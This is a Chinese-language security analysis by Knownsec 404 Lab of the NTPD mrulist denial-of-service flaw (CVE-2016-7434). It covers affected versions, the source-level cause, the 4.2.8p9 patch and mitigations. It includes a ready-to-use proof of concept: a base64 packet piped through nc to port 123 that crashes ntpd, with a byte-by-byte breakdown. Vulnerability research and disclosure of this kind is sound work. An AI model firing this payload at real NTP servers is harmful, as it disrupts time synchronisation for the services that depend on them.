Author: LG, dawu (知道創宇404實驗室)
前言
NTP服務對于互聯網來說是不可或缺的,很多東西都能和它聯系到一起。就在不久前,轟動一時的德國斷網事件中也出現了它的影子。保證NTP服務器的安全是很重要的!
0x00 漏洞概述
1.漏洞簡介
NTPD是一個linux系統下同步不同機器時間的服務程序。 近日NTP.org公布了一個拒絕服務漏洞,該漏洞能夠導致NTPD服務遭受遠程DoS攻擊。
2.漏洞影響
受影響版本面臨DoS攻擊風險
3.影響版本
- 4.3.90
- 4.3.25
- 4.3
- 4.3.93
- 4.3.92
- 4.3.77
- 4.3.70
- 4.2.8p8
- 4.2.8p7
- 4.2.8p6
- 4.2.8p5
- 4.2.8p4
- 4.2.8p3
- 4.2.8p2
- 4.2.8p1
- 4.2.7p22
0x01 漏洞詳情
漏洞細節
NTPD服務端配置安全性低,能接收任意端mrulist數據包。此時攻擊者能夠遠程發送經過構造的mrulist數據包對其進行Dos攻擊。
漏洞檢測方法
使用以下命令檢測NTP版本:
# ntpq -c version
受影響版本列表中的版本未作相關安全配置將受漏洞影響。
github上已有公布的漏洞利用poc,但是該poc會使NTPD服務崩潰,利用后需要重啟服務。
漏洞利用poc
漏洞復現
docker搭建環境:
docker run --rm -it --name ntpvulnerable -p 123:123/udp vulnerables/cve-2016-7434
之后命令行輸入:
echo "FgoAEAAAAAAAAAA2bm9uY2UsIGxhZGRyPVtdOkhyYWdzPTMyLCBsYWRkcj1bXTpXT1AAMiwgbGFkZHI9W106V09QAAA=" | base64 -d | nc -u -v 127.0.0.1 123
最后NTPD服務崩潰

漏洞分析
payload分析
漏洞發現者構造了這樣一段mrulist數據包
FgoAEAAAAAAAAAA2bm9uY2UsIGxhZGRyPVtdOkhyYWdzPTMyLCBsYWRkcj1bXTpXT1AAMiwgbGFkZHI9W106V09QAAA=
base64解碼后:

base64解碼(以16進制顯示):
\x16 \x0a \x00 \x10 \x00 \x00 \x00 \x00
\x00 \x00 \x00 \x36 \x6e \x6f \x6e \x63
\x65 \x2c \x20 \x6c \x61 \x64 \x64 \x72
\x3d \x5b \x5d \x3a \x48 \x72 \x61 \x67
\x73 \x3d \x33 \x32 \x2c \x20 \x6c \x61
\x64 \x64 \x72 \x3d \x5b \x5d \x3a \x57
\x4f \x50 \x00 \x32 \x2c \x20 \x6c \x61
\x64 \x64 \x72 \x3d \x5b \x5d \x3a \x57
\x4f \x50 \x00 \x00
此處參考NTP協議格式:
NTP packet = NTP header + Four TimeStamps = 48byte
NTP header : 16byte
| LI(LeapYearIndicator) | VN(VersionNumber) | Mode | Stratum | Poll(PollInterval) | Precision |
|---|---|---|---|---|---|
| 2bit | 3bit | 3bit | 8bit | 8bit | 8bit |
詳情請看 NTP報文格式
主要字段的解釋如下: ·LI(Leap Indicator,閏秒提示):長度為2比特,值為“11”時表示告警狀態,時鐘未被同步。為其他值時NTP本身不做處理。 ·VN(Version Number,版本號):長度為3比特,表示NTP的版本號,目前的最新版本為4。 ·Mode:長度為3比特,表示NTP的工作模式。不同的值所表示的含義分別是:0未定義、1表示主動對等體模式、2表示被動對等體模式、3表示客戶模式、4表示服務器模式、5表示廣播模式或組播模式、6表示此報文為NTP控制報文、7預留給內部使用。 ·Stratum:系統時鐘的層數,取值范圍為1~16,它定義了時鐘的準確度。層數為1的時鐘準確度最高,準確度從1到16依次遞減,層數為16的時鐘處于未同步狀態。 ·Poll:輪詢時間,即兩個連續NTP報文之間的時間間隔。 ·Precision:系統時鐘的精度。
了解了NTP的報文格式后,上文數據包中的NTP header:
\x16 \x0a \x00 \x10 \x00 \x00 \x00 \x00
\x00 \x00 \x00 \x36 \x6e \x6f \x6e \x63
payload分析到這里暫時無下文,于是我們轉去研究了漏洞觸發點部分
漏洞觸發點分析
如下圖,我們根據valgrind給出的調試信息尋找漏洞觸發點

判斷漏洞觸發點位于ntpd/ntp_control.c:4041,read_mru_list()函數體內
漏洞觸發原因是estrdup函數空指針的引用。
estrdup函數的參數不能為NULL,否則會使程序崩潰。因為estrdup函數包含了strdup函數,而strdup函數又包含了strlen函數,該函數參數不能是NULL。
那么這說明val是有可能引入空指針的了?
val是由ctl_getitem()函數引入的,稍后我們上溯去看。
我們先來看read_mru_list函數中var list:
/*
* fill in_parms var list with all possible input parameters.
*/
in_parms = NULL;
set_var(&in_parms, nonce_text, sizeof(nonce_text), 0);
set_var(&in_parms, frags_text, sizeof(frags_text), 0);
set_var(&in_parms, limit_text, sizeof(limit_text), 0);
set_var(&in_parms, mincount_text, sizeof(mincount_text), 0);
set_var(&in_parms, resall_text, sizeof(resall_text), 0);
set_var(&in_parms, resany_text, sizeof(resany_text), 0);
set_var(&in_parms, maxlstint_text, sizeof(maxlstint_text), 0);
set_var(&in_parms, laddr_text, sizeof(laddr_text), 0);
for (i = 0; i < COUNTOF(last); i++) {
snprintf(buf, sizeof(buf), last_fmt, i);
set_var(&in_parms, buf, strlen(buf) + 1, 0);
snprintf(buf, sizeof(buf), addr_fmt, i);
set_var(&in_parms, buf, strlen(buf) + 1, 0);
}
它把mrulist數據包中各字段輸入in_parms中,并且用到了sizeof()
const char nonce_text[] = "nonce";
看到這里,我們明白了nonce_text字段長度是6字節。
接著我們上溯ctl_getitem函數。它的功能是處理解碼后數據包中的數據。首先處理的就是nonce_text字段。
這里val就是*data,*var_list就是in_parms,v就是每個字段的數據

注意line(3103-3107)以及line(3111-3116)處的代碼:
while循環的條件是從字符串首部開始掃描,出現空或者,就把reqpt右移一個字節。
for循環的判斷語句中以,為終止標志,以=為賦值標志。如果沒有出現=來進行判斷后賦值,字段就會一直為空。
關鍵點出現了:在之前構造payload時,目標就是這里(阻止=的出現)。
payload構造分析
我們延續對payload的分析,結合上文payload分析base64解碼部分信息,其實已經顯示出來了。6nonce,大家注意到了嗎? nonce前面的一個字節正常格式原本應該是=的,漏洞發現者把它置為6了(16進制就是\x36)。其實只要構造"nonce"前一個字節不是=(16進制是\x3d)而且前3個字節都為NULL,漏洞觸發條件就滿足了。
我們來驗證一下:

到此總結一下:
payload構造關鍵點在于上文中NTP header格式如下
NULL NULL NULL 非= nonce,
ps:非=需要的是能正常解碼出來的字符串,亂碼是不行的
補丁分析
ntp4.2.8p9版本修補了這個漏洞。官方修補方案是在read_mru_list()中嚴格地進行val參數的檢測并做了一些限制措施。此外官方在最新版ntp_control.c的release中又對ctl_getitem函數進行了安全修改。
我們分析后認為補丁關鍵點如下:
if (NULL == val)
val = nulltxt;
if (!strcmp(nonce_text, v->text)) {
free(pnonce);
pnonce = (*val) ? estrdup(val) : NULL;
其中char * val 變為const char * val
- char * val;
+ const char * val;
修改后邏輯運行為必須通過void * 從指針中去掉const屬性。
接著嚴格判斷val是不是NULL,若val指針為NULL則中斷。
在此情況下原漏洞觸發點處變為先判斷*val,判斷式只會為真,避免了空指針的引用,從而修復了此處漏洞。
漏洞利用分析
在實際場景中,存在漏洞的NTPD服務器如果未作任何防護措施,攻擊者極易對其進行遠程DoS攻擊。但是攻擊結果僅是使服務崩潰,重啟服務就能正常運行,對NTP服務器本身無其他深層影響。 但是,如實驗室,飛機場,銀行等機構的業務結算對于時間的校驗應該非常嚴格。一旦針對性地攻擊與它們相關聯的NTP服務器導致系統時間無法正常同步,對于業務結算等是能夠造成一定沖擊的。
0x02 漏洞防護措施
- 只允許接收來自信任主機的mrulist查詢包
- 升級到ntpd4.2.8p9
- 執行BCP-38標準
0x03 參考
本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/144/